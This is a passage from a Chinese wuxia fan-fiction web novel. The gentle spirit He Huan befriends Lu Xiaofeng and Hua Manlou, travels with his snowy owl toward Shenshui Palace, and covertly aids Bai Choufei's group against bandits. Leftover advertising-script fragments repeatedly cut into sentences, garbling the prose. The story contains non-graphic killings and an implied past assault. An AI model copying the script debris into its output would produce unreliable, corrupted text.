陆小凤摸着胡子,心下暗忖,对方如果穿江南现下流行的春水锦,说不定更能显出一派风流气。他本不是会关注穿着打扮的男人,自己除了修的恰到好处的那两撇胡子,其实打扮上已经算的是潦草,但他某位红颜知己,对此有所了解,而他又刚好从那位知己身边离开不久,故而品评了一二。 对方看起来有些不知所措,像是离家出走的公子哥第一次见世面。这让他想起来花满楼——别怪他的联想,本来他过来江南也是为了找花满楼。 干脆招呼人坐了过来,两人聊天谈笑间,陆小凤对他印象越发好了。 这位何欢何公 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,说他是名门之后不像,因为他太擅长为别人考虑,以至于让周围的人非常愉悦,虽然花满楼周身气质也温柔和善,却不会有他这种过分体贴的小意;而说他出身贫寒所以擅长讨好他人…也不是,因为他言行举止中并无自卑,也不是为了让别人对他刮目相看或者生出好感所以才如此行事,而是更——形容起来好笑,更像圣人、菩萨般的,只希望让旁人快乐一点,纯粹的奉献精神。可说他像神明,他也过分对于百姓的苦难感同身受了;说他像圣人,他又带着一股天真的稚气,仿佛未经雕琢,不曾受过苦难。他全身上下都是矛盾,而这些矛盾又是柔和的、闪闪发光的好的矛盾。 大概,除了那种天生内心就扭曲的、没有一点爱和善良的人,没有谁会不喜欢他。 就算不喜欢他,也不会讨厌他。 陆小凤?陆小凤可太喜欢他了。他作为常年漂泊在外的浪子,作为一个阅遍人心仍旧有一颗赤诚之心的人,怎会不喜欢何欢?他那么俊秀,那么可爱,性格又那么好,如果不是怕人家觉得他热情到奇怪,他简直今晚就能和何欢秉烛夜谈,抵足而眠。 好在他知道,何欢并不了解江湖,也不了解江湖上这种凭感觉直接变成莫逆之交的这群人,故而他收敛了自己的热情,只是话多了一些,又请何欢吃了这顿饭。 却没想到,对方还会酿酒,还说要送给他一坛。 陆小凤简直想一边大笑一边抱住他拍拍他的肩膀,告诉他,你这个朋友我交定了。 他忍不住想要跟花满楼分享又交上一个好朋友的喜悦,连步伐都轻快不少,殊不知,一种更妙的缘分就等在他面前。 “原来他是你的邻居?你们两个人居然是邻居!”陆小凤喝了一口花满楼泡的茶,又一次感叹。 花满楼对那位新搬来的邻居也有印象,他手握茶杯轻笑,“是啊,他的点心做的很不错。” “你可是有口福,”他啧啧两声,“倘若他酿酒的能力再好一点,说什么我也要厚着脸皮跟他成为莫逆之交。” 花满楼闻言,心生好奇,“你这样说,令我也想要交上这么一位好朋友。” “你与他一定很谈得来。”陆小凤笑道。 此时此刻,想到这里陆小凤只觉得自己有先见之明。看吧,果然很谈得来。 6. 第 6 章 埋在地下的酒坛挖出来时,向来不会是干干净净的。何欢瞥见花满楼手上和衣摆上沾着的一些泥土,有些不好意思,“不该让你帮忙的,太容易将身上弄脏了。” “哪有这么容易弄脏。”花满楼笑,“只消用水冲一冲便能干净了。” …… 何欢打了水来,两人净手,他想起花满楼说的,之前从家里离开尝试一个人生活,就问道,“七哥,你的衣服也是自己洗吗?” 花满楼一愣。 何欢看着他难得有些迷茫的样子,又问“是家里的仆从?” 花满楼反应过来,点了点头,“让你见笑了,现在想来,虽然我说要自食其力,有些事情还是依靠家里的安排。” 何欢拿来手绢递给他,闻言反而觉得自己问的问题奇怪,认真道,“请人洗衣服,和去酒楼吃饭、去绸缎庄买成衣不都是一样?让擅长做这些事的人做这些事,让不擅长的人给予报酬,没有非得什么都会才能一个人生活的道理。”言罢,何欢又有些惭愧,“我这话问的不对,唉,七哥把这罩衫脱下来,我来洗吧。” “这点小事也要扯上对错吗?”对方反而一笑,“小事见真知,向你道谢还来不及,怎么好意思麻烦你。” “这也不算麻烦我,”何欢望向他,“要不你之前留我住宿,不也算麻烦你吗?就当我想为朋友做些什么吧。” 他的眼睛里盛着一汪繁星下的湖水,嘴唇柔软如桃花瓣,脸颊上的绯红是最昂贵的胭脂也涂抹不出的动人。只可惜这一切眼前的人都看不见。 但只听他的声音,就已经让人不忍心拒绝了。 花满楼脱下罩衫,坐在椅子上等。他听见水流落在衣物上的声音,手指轻柔的搓洗,紧接着,他闻见一股清香。 再有半盏茶时间,他听见何欢的脚步声,他轻快的走来走去,将衣物晾起来,轻轻拍打使得衣物平整。然后,何欢走近了。 “好了,我们走吧。”太集中精神,以至于他的声音也听的格外清晰。 他咬字时有些不同于吴侬的含混,不知是哪里的方言,平常听起来不过是温和,但刻意去聆听时这种声音时却显得太缠绵了。尾音上扬,像一把小钩子。 花满楼垂下眼眸,片刻后才露出与平日一般无二的笑容,率先出了门,“走吧,陆小凤怕是要等不及了。” 何欢眨了眨眼,跟在他后面。 “咏莲的诗词那么多,等真让我看时我却想不起来多少,只有一句——能不忆江南?”陆小凤斜躺在椅子上,左手捏着酒杯,右手摇着扇子,好不快活。 花满楼则恰巧相反,君子端坐,手执折扇轻摇,“只嗅到这莲香,也不难想象是如何一副盛景。” 何欢抚摸酒杯边沿,思量片刻,“此刻有船、有莲、有酒,那正好听听这阙——画船撑入花深处,香泛金卮。烟雨微微。一片笙歌醉里归。”看得出他很喜欢这诗中的意境,露出满意神色,“此情此景,友人在侧,不妨一醉。”说罢,便饮尽杯中酒,显得比以往豪放许多。 “怎么酒不醉人人自醉,”陆小凤笑着点他,“我知道有人醉醋、有人醉茶,怎还有人醉……这是醉什么?醉花?” 何欢不理他,他又自娱自乐,“我就太正常了,我只醉酒,如果要我喝醉,那可得多携几坛美酒。”说话间,何欢带来的两壶酒已经见底。 这酒衬景得很,如同琥珀般的酒液,呈在玉瑶杯里,轻嗅时可以闻到竹叶的清爽,入口微凉,后能细品出淡淡梨花甜香,不是烈酒、不算醇厚,却足够轻盈芬芳。 花满楼听他们笑闹,无奈摇头,“我记得小欢不识水性,别在船上闹得太过。” 陆小凤哈哈大笑,“便是掉下去了,我一只手就能提他上来。” 何欢一怔,关注点却在奇怪的地方,“我可是很重的,你两只手也未必提得起。” 这话如今陆花两人谁也不信,只当他醉了。 银鱼宴上,何欢的确显出醉态。他酒意上头时也没有别的缺点,只是特别像个长辈,爱照顾人。这是什么北方的习惯吗?南方的侠客看着他要了快八人份的菜、布菜分菜,随后还露出亮晶晶一双眼睛,像是在等人夸奖他。 “多亏了阿欢替我夹到这菜中精华,果然美味。”陆小凤见他醉了,调侃他更加开心了。 花满楼试了试这……这盆饭的重量,也忍俊不禁,“多谢小欢。” 何欢抿唇一笑,“吃好一点,多吃一点。你……你别不开心。” 原来他之前听出来了出门时花满楼的心情似有起伏。 花满楼有所触动,轻拍了两下他的手安抚他,“谢谢小欢,我很开心。” “那就好……如果……”何欢欲言又止。 “嗯?想说些什么?”花满楼问他。 “如果我做错了什么……你可以直接跟我讲,”他有些失落一般侧过头,“你不要太快就走掉,我可能来不及改……” 他这话究竟是对谁说的?是眼前的花满楼与陆小凤,还是…… 自出门前何欢说起留宿一事,花满楼就时时想起那晚。何欢走进他的小院,明明说自己是因为睡不着所以才出来走走,却说着说着话就慢慢趴到了桌子上睡了过去。花满楼扶起他时只觉得他很轻,手腕纤细而脆弱,腰肢也不似成年男子的瘦弱——像是需要人引导、需要人关怀的少年。他真的有二十岁吗?花满楼甚至怀疑其他的年纪来。 花满楼将他放在客房的床上,摸索着替他解开外衫,就听见他惊慌的声音,非常抗拒被其他人褪下衣衫,“别…别……” 他的手推拒了两下,又像是认命了,放下来,只是还在微微颤抖着。 花满楼心里一紧,不再去动他的衣服,只是替他掖好被角,轻拍他的胳膊,安慰他,“别怕,阿欢,别怕。” 约有一盏茶的功夫,何欢才睡了过去。 花满楼坐在他身侧,仍有些怔忡。 …… 第二天,有一个带着斗笠,黑纱遮面的男子跌跌撞撞走进小楼,花满楼正坐在院子里等他。 黑斗笠见面就问,“何欢是不是在你这里。” 花满楼声音冷淡,“你是他的什么人,用什么身份来问这句话?” “我是他的…朋友。” 很少有人能见到花满楼生气的样子,也很少有人能听见他的冷笑。而此刻黑斗笠听见了。 “我从未想过,一个人会对朋友做出这种 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事。”他抬起头看向黑斗笠,仿佛要洞穿他的灵魂,“你如果真的是他的朋友,怎么会用这种方式伤害他?又怎么会在伤害他之后迟迟没有补救,直到现在才来找他?” “我……”黑斗笠说不出来话,半晌才道,“是我对不起他,这本来也是我最痛恨的事,只是…我喝了酒,我没忍住……” 花满楼沉默片刻,叹了口气,声音不似之前的冷硬,却仍旧字字锥心,“喝酒是你的事,却要让他承担这份痛苦吗?” “……他还好吗?我昨天误伤了他,现在如何了?” “这种事,你该等他醒了再问他。” 黑斗笠便坐在花满楼对面。一盏茶功夫过去,他显得有些坐立难安,又一盏茶,他猛的站了起来,“不,我不能再见他,我要走了。” “你都还没向他认错,就要走了?”花满楼斥责他。 黑斗笠摇了摇头,“你不懂,你不懂……我已不能再待在他身边……我只会害他伤心。” 他话音刚落就运起轻功要离开,只是刚踏出院门,又犹豫了一下,折返回来。 “你是他新交的朋友吗?” 花满楼不置可否。 “我知道,你是……你很关心他,这很好,多谢你……” 他仿佛在喃喃自语,又像是在说给花满楼听,“何欢他有你这样的朋友很好,总比我要好……只有一点,只有一点……” 他忽然提高了一点声音,顾虑着何欢正在睡觉没有吵醒他,却仍然一字一顿显得分外认真,“是我的、我们的错,让他觉得朋友也可以做那样的事,我知道你,花满楼,你是个好人,是个大侠……请你该告诉何欢,真正的好朋友该怎么做。谢谢你,我欠你一个人情。” 他说完就离开了。 …… 陆小凤曾觉得何欢心胸豁达,神智清明。 花满楼原本也很是赞同。只是如今…… 他看不见何欢,却能准确的拭去何欢眼角的一滴泪,“别怕,你从没做错什么。” 他只觉得怜惜。 何欢其实没喝太醉,只是控制不住自己。他朦朦胧胧感觉到花满楼摸了他的头发,叫他“好孩子”,他的手细腻而柔和,有花的清香和阳光的温暖。随后,他听见陆小凤嘲笑他酒量太浅,花满楼将他扶回家。 家中的小黄狗汪汪叫了几声,他嗫嚅着,“还没有喂小黄……” 就听见花满楼安慰他,“陆小凤会喂的。” “是是是,我来喂我来喂。”随后便听不见这人的声音了。 “花……” “嗯,我在。” 吹过夜风,不但没有清醒,何欢脑子反而更晕晕乎乎了,很是奇怪,他不记得自己要说什么,只记得花满楼说了一句我在,让他有些高兴,又有点难过。 你会一直在吗? 你不会的,我也不该问出来。 他只是定定望着花满楼,最后抱了他一下,“七哥,谢谢你。” “怎么又说这个,谢我什么?” 何欢自己也不知道,只是傻傻笑了两声。 原本梦是深黑色的,突然吹来一阵风,大片大片粉色的花瓣席卷而来,吹的幽梦泛起涟漪。 7. 第 7 章 日上三竿,何欢才醒过来,头已经不痛了,就是睡久了有些乏力。他收拾完走出屋子,看见桌上又有一封信。 信件上,沾着女子淡淡水合香。信封上浓墨正楷,写着“神水宫拜送”五个大字。 …… 何公子敬启: 宫主又要找和尚来念经,念得我(顿笔很重)们头疼。 你为什么不能剃个光头,这样宫主要找人,我可以顺理成章喊你来。 想想还是算了,还是有头发好看。 姐妹们都很想你。前几日宫主说香用完了。其实我之前才看,还留了好大一块。她肯定是想你了,但是她不说。 你还要和她置气吗?她只是讨厌你把一个死掉的男人看的那么重,才口不择言。 要我说,你也该骂,不过我舍不得骂你。即使那男的不死,我(划掉)大家也会杀了他,就算不杀他,他也总归要死。早晚的事,干嘛伤心。真不懂你。 …… 门要开了,你今年还不回来吗? 宫(划掉) 神水宫女弟子 宫字上有大面积涂抹,但何欢一眼就认出是宫南燕,也只有她说话这样冲。从封面到问候语想必也是找别人代笔的,欲盖弥彰。 他有些头疼的揉了揉太阳穴。 …… “不时不节,怎么突然要走亲戚?”花满楼疑惑,“还有小黄(陆小凤给小黄狗起的名字),真的不用放到我这里吗?” “不用,他一个……狗反而自在,也习惯了。我会准备足够的粮水。倘若我一个月后还不回来,就得麻烦你照看他了。”何欢叹了口气,“和长辈吵嘴,给了梯子我得快快下去,等过节就晚了。” 花满楼忍俊,“想不到你同长辈吵架的样子。” 何欢扶额,苦笑道,“嗯,嘴笨的要死,只回嘴一句,就被骂了个狗血淋头又赶出来了。” “如今可解决了?” “啊……嗯……”何欢想起什么似的,含混改过去了,“总之,先回去一趟看看。” “那么,等你回来时,我再为你接风洗尘。” 巷外,往西边再走两里路,一家卖引子的店铺前停了一辆看似朴实无华的马车,车夫见他过来,冲他哈腰,“差点要认不出来,得有三四年不见公子了吧,终于等到您联系我。姑奶奶已经在车内等您了,近几日天气炎热,姑奶奶心情不是很好,劳您费神了……您快上车!” “劳您惦记。”何欢同他打了招呼,但听见“姑奶奶”的称呼,不觉闭眼揉了揉自己的额角,深吸一口气上车。 一上车,就被一只雪白大鸟扑了一脸,甚至还啄了好几口,得亏他眼疾手快将鸟嘴拢在了手心里,不然多厚的皮都得啄出好歹来。 “好了,好了,可再别扑棱,车厢里还是小,仔细伤到羽毛。” 这样说,鸟才安静下来,最后停在何欢腿上,钩子一样的脚趾紧紧蜷着。是一只雪鸮,脸圆圆的、眼睛也圆圆的,在熟人眼里看起来机敏可爱。但其却比其他雪鸮还要大上两圈,喙部尖锐、爪大而利,甫一见便会吓到生人。 “宫主肯将你放出来,想来南燕说的倒也不错。”他抚摸着鸟雪白的羽毛,轻笑一声,“必是消气了。” 鸟“咕咕”两声,听起来竟有些不满。 “好了,知道错了……但倘若真把你一起带出来,你舍得神水宫的伙食?愿意天天跟我风吹日晒么?” “是、是,知道你不是那样的鸟……我也是不舍得,倘若真带着你一起离开,同那边便真算断个干净……终究是阴姨将我养大,我也不想。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“说起来……”何欢好笑的摸摸鸟下巴,“怎么小小年纪,还被叫姑奶奶?” “咕咕——”鸟这样回应他。 “好,只有神水宫内能叫你小雪,他们都尊敬你,叫姑奶奶。”何欢说完,向后靠在了兔绒靠背上,暗自忖度,“我有个囫囵人型才短短十余载,连生//殖//器都没有,怎么托鸟的福,直接变成祖宗辈了……真是世事无常。” 后来何欢才知道,这是因为小雪太难伺候,被大家愁眉苦脸的叫小姑奶奶,久而久之就变成姑奶奶了,若说真论资排辈,那是没有的。 何欢:失误,还有太多人类文化需要学习。 车内放着玲珑香球若干,雕刻镂空的木球中放着药水浸泡过的木头香丸,在马车行进时轻轻晃动震颤,散发薄荷、柑橘的气味。小雪抓在架子上,一双大眼睛死死盯着何欢。 何欢苦笑,“我就在车上,哪儿也不去,你从神水宫赶路过来一定累了,还是歇歇吧。” 小雪的眼睛瞪得越发大了——本来雪鸮的眼睛就大,这一下更显得怪异,好在车内只有何欢一人,他看着只觉得可爱,还带着把人家抛下了的愧疚。 “那来我这儿睡吧,抓着我睡,你也不会担心我跑了。” 他伸出手来,那手本来纤长白皙、骨骼分明,在雪鸮飞上来时竟变成了褐色,再一看,就成了树枝模样。袖子下的手臂也一样化作枝干,雪鸮停在上面,不多时就安心的睡去了。 何欢环顾马车,试着打开了以前装的暗格。 暗格里,他曾经看过的那本传记还完好无损的放在那里,只是中间夹杂着的书签,被不知谁拿了去,只余下淡淡的水和香气。 “……”他垂下眼,轻轻地叹了口气。 随即,他重新翻开这本书,开始看了起来。 8. 第 8 章 轻车简装,马也是好马,马车行进的不算慢,但车夫只是普通人。到了日落时候,也要进城找地方歇息。 “公子,到地方了。”马夫并不掀开帘子,他说了一声后,就静默在马车旁边等着。这是神水宫的规矩,不守规矩的人已经再也当不了差。 片刻后,帘子掀开,先是小雪探出头来,此时天还不算太暗,有行人看见雪鸮,惊呼一声。随后何欢下车,带着一张全脸木质覆面,小雪停在他手臂上,议论声更是此起彼伏。马车夫轻声问,“何公子,您看……” “无碍,大家惊异,便让大家议论,不是什么大事。”小雪在车厢里待了太久,如今最好出来放放风。此地想来应该也无熟人,但以防万一,何欢还是稍作了掩盖。 好在此处是临安周遭。繁茂商业所在,新鲜事层出不穷,区区雪鸮也不过是一时的谈资。 更大的谈资,好像是昨夜一场江湖中的动乱。哪怕入了客栈,二楼雅间也能听见下面的讨论。有人窃窃,“死了好些人,堆在一间屋里,头是头身子是身子,血流的门口都是,打更的天光时才发现,吓个半死,尖叫声把邻舍人们吵醒后,都躲在屋子里不敢出去。” “那些都是欺男霸女的人,要我说死了也好。” “糊涂了,到处都是‘那个地方’的眼线,你竟敢说他们的坏话。” “他们敢做,不叫人家说么?我却不怕。”楼下人冷笑一声,“若有六分半堂的人听见了,不如就来找我。不过只怕他们现在查昨日的事都已经分身乏术了罢?” 当真有人从人群中悄悄隐去,出了客栈往远奔去,只是不知道是哪方势力的人。何欢的好奇心并不强,本无意打探。 只是神水宫在此处也有产业。趁夜色渐浓,雪鸮自作主飞了出去,回来时带着情报一道回来。何欢本来已经取下并不方便的木质面具,见她飞回来时在桌前一挥手,双指扣住面具遮盖在脸上,只露出一双眼睛。何欢伸出另一只手去接她,一边问,“你是故意的,还是在宫里呆太久变笨了?” 鸟眼里澄澈的疑惑不作虚,何欢带着无奈笑意摇了摇头,抬眼望去,一身月色袍子的少年人本想掩盖自己的行踪,却因为何欢直直与他对上视线而顿了一顿,反而放弃。 他凌空而来,停在对面屋顶上,约莫两米距离,悄声道,“我不是有意的,只是看着鸟儿稀奇,不自觉就跟过来了。” “南方许是少见些。”少年人没想到,何欢竟愿意相信他,也愿意接这个话茬。 “这是什么鸟儿,有些像猫头鹰,但比猫头鹰好看。” “说是猫头鹰……也不假。”说完就被鸟嘴啄了,他无奈,轻抚小雪头上的羽毛安慰,“这是雪鸮。” 见他还在那边点头,欲言又止的,何欢笑了一下,“少侠想接着聊天的话,不如进屋子里来聊吧。”说着就将窗子开的更大了一些,雪鸮已经停在架子上,开始梳理自己的羽毛。 “啊,不……不好意思,天很晚了,我……我真没有别的意思,这鸟儿真好看,我就先走了……再、再会。”他磕磕巴巴不知所云的说完,转身就走,脚在青瓦屋檐上一点,半点声音也没有发出,就轻巧得如同一片云一般随着夜风飘走了,转瞬消失在层叠飞檐之间。 四下无人,何欢看见雪鸮依旧不抬头,装作忙碌的在梳毛。 “为什么不高兴,人家夸你好看呢。”何欢声音依旧轻柔。 “咕……” “这有什么大不了的,”何欢不解,“便是天才见到你我也不会直接联想到神水宫。此外,我不认得他,他也不认得我。你看起来不过是一只不那么普通的鸟,我也不过是一个再普通不过的人,怎会有那么多人就要对我不利?” 他想到什么似的,又笑了一声,“再说,哪里就能害到我了?” “咕咕咕咕咕!” 何欢合上了窗子,就听见她的抱怨,又说起何欢几年前被男人骗了的事情。 “怎么连你也爱啰嗦这件事……唉,真是一失足成千古谈资。我知道了,再不让第三个人见到我的身体、我睡觉都裹着里衣、织梦术都练得炉火纯青了。” 很难相信,能从鸟脸上看到心满意足的神情。何欢乐意惯着,“好好好,谢谢小雪大小姐关心,在下铭感五内,必定牢牢记在心里。” 何欢自己也不想再次吓到别人。年少时期懵懂无知,以为一腔真心可以抵过世间万物,就将全部展现在人家面前。如今却知道了,人更信奉“非我族类,其心必异。”与其交付信任、让他人辗转反侧,最后落得个被背刺的下场,不如大家都保有余地。若真想更进一步了解他,不如在梦中见他——大抵人的梦都更符合自己所思所想。雾里看花,所见非花更胜花。 …… 王小石——也就是身穿月白色袍子的少年人——自晚上出门遛弯之后就浑浑噩噩的。与他才相识就成了朋友的白愁飞看他失魂落魄的奇怪样子,也不禁好奇,“你出门时见到昨天的冤魂索命了?” “啊?什么?不……没有,”王小石愣了愣才回过神,他先是摇头,又问,“难道真的有鬼?你见过吗?” “没有。”这也不知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道是回答哪个问题,随即白愁飞挑了挑眉,又问,“那你怎么看起来魂都吓没了。” “不,这不是吓的。”王小石摸了摸脸,他已经意识到自己的表情很是愁苦,“这是丢脸丢的……唉。” 他并没有细说,白愁飞也不再多问。除了丢脸,王小石的神情明显还有别的什么在。不过那种恍惚,和这藏不住的少侠第一次见到温柔时也没有什么不同。白愁飞自觉不必多问。 正想到温柔,她便推门进来了,大大咧咧的样子好像在深夜里推两个男性的门根本没什么危险——温女侠一如既往,大胆到了让寻常人惊异的地步。“去京城要走一段水路,明天你们谁去租船?” “……”王小石还没从看鸟直接追到人家房间外还被发现的糗状中回过神来。 “我没钱。”白愁飞抱胸冷漠道。 “你怎么可能没钱?”温柔不相信,“昨天赵管事不是刚刚给你结了四百两银子?” “花出去了。”他睁着眼睛说瞎话。 “花哪去了?”温柔狐疑。 “歌楼酒楼、赌场、武器保养。” “……”那双明亮眼睛中流淌的全是不相信。 “随你信不信,反正是没钱。” “这是二十两银子,你拿去。记得,要租好些的大船。” 白愁飞伸手接下她抛来的二十两银子,放在怀里,“好,我明天去租船。你还有事没有?” “没了,怎么?”温柔不解,“这么说,难道你有什么急事吗?” “没了就快点回去,不要耽误我和小石睡觉。” 温柔白了他一眼,大声问,“王小石,你要睡觉了吗?” “啊?我……我睡不着……”王小石喃喃,“已经很晚了吗?” “……”白愁飞无语的望着他。 温柔这时候也发现了他的不对,“他这是怎么了?” “约摸是被刚遇见的什么妖鬼勾了魂去了。” “不要打趣我了!”王小石告饶。 他也不知自己怎么了。丢脸的事情多了,可这件总让他记在心里。是因为什么?却说不出哪怕一二。 窗棱里的人穿着轻纱广袖的衣袍,伸手时雪白的大鸟停在他指上,收回手露出半遮面容,风姿堪可入画,连束起的发丝也在夜风里轻抚俊朗的眉眼。夜色里,恍惚间王小石闻到一阵清香,看到他背后的纷飞落花,再定睛一看,却什么都没有,昨日开始便一直萦绕在鼻尖的血腥气,也随落花般的错觉消失不见。 万籁俱寂,只剩那双含笑的眼睛。 9. 第 9 章 何欢一向不愿意走水路,然而想要自临安去扬州再北上,从各方角度考虑,换一程水路都要安稳得多。毕竟神水宫在南方的产业,便是租船行船的。在水上为神水宫收尾也容易得多。听闻何欢要租船,船行的人当即就选了一艘稳重又不失身份,却也不至于惹人注目的船,船上一应物品都是备全的,只等他上船就走。 “公子有所不知,这段时间金风细雨楼与六分半堂在临安闹得很大,秦淮河上也不安稳。”马车夫后面的行程不便在陪同,却也放不下心。一定要让何欢带上十几二十个人。“就算您武功高强,不担心自己,也该担心担心姑奶奶啊,在船上万一没人照顾它、或者真出了事被挟持成了人质……鸟质,又该如何是好?” 这人叫着小雪姑奶奶,却好像操着老父亲的心,何欢推辞不下,愣是被他塞了七八个侍从上船——都伪装成了船夫模样。 看着是船夫,但既有水上功夫,又得神水宫栽培,在水上已是一流高手。若有人轻视小瞧,怕是要吃一番苦头。 何欢的衣物也换成了顶好的布料和剪裁。他身上穿的这身已经算是最不显眼,衣摆袖口的暗银云纹在日光下仍会隐隐闪光。 他其实不太理解这种又高调又说要安全的做法,但……谁让神水宫皆是如此行事,虽说不会直接报上名号,但也不怕他人看出来。他只得又好好修饰了一番面具,更加贴合脸部又不会妨碍透气性,打算在船上就一直带着这木头面具。 不然万一谁人认出他来,多少有些麻烦。 在岸上吃过最后一顿饭就行船,计算的恰到好处的吃水,使得行船速度有所保证的同时船身安稳。何欢很好奇,“小雪飞着也会晕船吗?” 小雪表示:神水宫神鸟,从不晕船! 小雪是何欢幼时捡回来的,众人一开始爱屋及乌,对她不差。后天生出灵智后就更让众人喜欢——当然,在弟子们看来是养熟了之后亲人又机敏的鸟儿。加上雪鸮本身就是难得一见的鸟,久而久之就戏称她为神水宫的神鸟。 夜间的秦淮河歌舞升平,何欢揣测他们是算好了出行时间,如今船所在的水道既能看到秦淮河的盛景、听到缠绵的丝竹之声,又不至于真被挤在其中牵绊行进。 “公子可还喜欢?”有船夫过来搭话。 “多谢你们用心,我很喜欢。”何欢从袖中掏出金叶子,船夫连连摆手,“如果不是神水宫庇护,我们现在还在刀口舔血过日子呢。以往水道上乱的很,到处都是水贼,家里人跟着也安稳不下来。如今蒙神宫大恩,吃得好过得好,我们感恩还来不及,哪能要公子的东西。” 何欢见他真心实意,便微微一笑,“要神水宫庇佑,你自己也争气才能过上如今的好日子,甘露遍撒,也只佑有缘人。” 船夫诚恳行礼,随后退至丈外,留何欢安静欣赏。 他一人伫立在船头,雪鸮站在他肩头,同他一并望向远方。收窄的河道依稀可见岸边火树银花、河道中河灯随波逐流,隐隐烁烁。最热闹还是水波上肆意摇曳的、轻歌曼舞的画舫。烟火处,人声鼎沸时最浪漫。“我知道阴姨的意思。可是短寿如何,长寿又如何?人有什么坏的,妖怪又有什么好,”何欢好似在与雪鸮说话,又好像在自言自语,他的声音比夜风还轻,哪怕小雪也差些听不到,“草木化妖,同万物都难有交集,生的寂静,死也悄无声息。我只记得春寒料峭,夜风寒凉,经历过千年、好似活过一遭,回首时又发现什么都抓不住、得不到。” “鸟兽还能产热,互相依偎取暖。树木呢,从生到死孤零零一个,刮风下雨时,从树冠到根系都冷透了。”远方的人声听起来都热闹,他站在远方,想要接近而不得。“我还是喜欢人,想和他们相处,想体会所谓的悲欢喜乐,想相互信赖、相互依靠。” 船渐行渐远,一切终归寂静,小雪贴他贴的更近了一些,何欢转头,脸颊轻轻蹭她的羽毛、她的喙,“和我们之间的这种相处不一样,我想要更热烈的那种人的感情……我得到过,所以我知道区别。” “但是……”他还想倾诉些私心话,却突然听到刀剑碰撞声,远处一偏僻泊口停着的船上,竟有冷光乍现,下一刻血就泼在了水里,晕开一层一层波浪。小雪叫声突然亢奋。 何欢难得失色,“什么?不,虽然人的血也是热的,我要的不是这个热烈。” 也正是这声鸟啼,使得对面月色衣袍的少年骤乎转头看过来,那张脸格外熟悉。 此时船夫也看到远方械斗,他凑上前来,低声道,“公子,那艘船上是六分半堂堂主雷损的女儿,雷纯。还不清楚下手的事哪帮哪派,临船上去帮忙打斗的三人,有两个还没查到消息,另一个是“洛阳王”温晚的女儿温柔女侠,也正是他们三人,前日杀掉了六分半堂十余手下。” “又是六分半堂……”何欢沉吟,他想起昨日接到的情报上描述,六分半堂为了威胁其门下部分反水门客,将他们的亲人朋友绑架来,人为制造成“残缺儿”,让他们在街上卖惨赚钱。做这样凶残的事,只是为了帮派颜面、为了震慑门客,这样的事……招来多少报复也不例外。然而…… “我本不欲插手,然而行凶者煞气颇重,只恐要对来往船只动手,派几人前去收拾了,不要伤及无辜” “是。” 这厢,雷纯步步后退,而装成船夫的几多“迷天七”派众,满口粗鄙之言,竟是要强行猥亵雷纯。白愁飞的剑破开门砍掉了其 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中三个人的脑袋,另外又有飞针从窗口吹入,针上或许有迷药,吹在另两人身上,霎那间他们就软倒下去,倒在地上人事不省。 白愁飞一惊,想不到竟还有人躲在窗外,虽然看似是友非敌,但仍升起警惕之心,“姑娘,你离窗户远些。”他眼睛盯着窗外,对雷纯说到。 雷纯便绕至他身侧,中间微微一顿,似是被软倒在地的人或者没了头的尸体吓到了。 随后,白愁飞提高了声音,“不知是哪路英雄相助?” 王小石和温柔也听到了,温柔还在原地,王小石就以使出轻功绕行至船后,然而除了散开的水波,什么人也没有。 他又想起刚刚的鸟啼,和站在船头的白衣人。 是因为思及此处,又或者是夜风吹拂?鼻腔中的血腥气再次被那种独特的、浅淡的香味代替。或许这香气,便是某个人曾在附近停驻的标志。 “没有人,”他从窗外喊给白愁飞听,“不过也可能是水性很好,已经潜水走了。” 白愁飞看向雷纯,雷纯摇了摇头,“我的护卫皆被‘迷天七’的人放倒了,不是我的人。” “这么说,他们是路见不平,拔刀相助?”白愁飞嗤笑,他似乎并不认为会有这种好心人。 “可能吧……”王小石喃喃。 温柔此刻也走进了船舱,正为雷纯的美貌所惊,听见他的言语,却猛地敏锐起来了,“听起来,你好像认识这伙人。” “我也不知……”此时这一向大大咧咧的少年人却突然嗫嚅起来,“或许,是我认识的人,不过人家可能已经不记得我了……的确、的确是温柔的好人。” 明明叫温柔,却一点也不温柔的温柔,咬了咬唇。她隐约感觉到一些模糊的不快,却再开不了口。 “还没感谢三位的救命之恩,”雷纯开口,打破了这份寂静,“如若不是诸位大侠,我恐怕已经死在船上。” 温柔听她这么说,复又高兴了起来,“能救下你这样的美人,我也开心得很。不过不是我们……应该也会有旁的人出手。” “只恐鞭长莫及,”雷纯笑着指了指窗外,一艘点着孤灯的船已经渐行渐远了,“许是那艘船的主人派人出手相救,不过赶来时这位少侠已经斩杀大半贼人,他们便又悄然离开了。无缘叩谢船主人,不能再不谢三位侠士。” “我叫田纯,不知侠士姓名?”她虽是问的三人,一双秋水一般的眼睛却看向了白愁飞。 白愁飞被她这样一看,心中泛起波澜。 而王小石此刻,却被温柔一戳,“人家在问你姓名,你在干什么?” 王小石小声问她,“你有没有闻到一阵香气?” 温柔:? 10. 第 10 章 此时月下柳梢,船上有无头尸体、有腥风血雨,有两位各有风姿的绝色美人在侧。这人不关心尸体,也不关心近在咫尺的佳人,却偏问什么没来由的香气? “怕不是什么迷魂香的香气。”温柔在一侧恨恨道。 自称田纯的雷纯看看王小石,又看看温柔,露出了某种了然于心的笑容。她猜到了什么,未来当真会如同她预测般发展吗? …… 水路再转陆路,辗转半月,终于到了神水宫近前。那些服侍的人皆受命不得靠近。何欢同他们分别后,只带了小雪往神水宫入口去。身后神水宫的依附势力同他们作揖道别,话音落下,只觉得一阵清风吹过,再起身眼前已无他们的行踪。 “我在宫总管处曾听闻何公子是当今少有的武学奇才,如今一见,真是后生可畏。” “何公子今天可有二十?如此年纪,别的不说,这轻功已属当世一流高手。” 何欢并不知道他们背后的议论,也不知道在用出轻功后,反而让旁人对神水宫更添一层敬畏。他与小雪打定主意接下来两天便宿在山野间,且以防万一,白日休息夜间赶路。 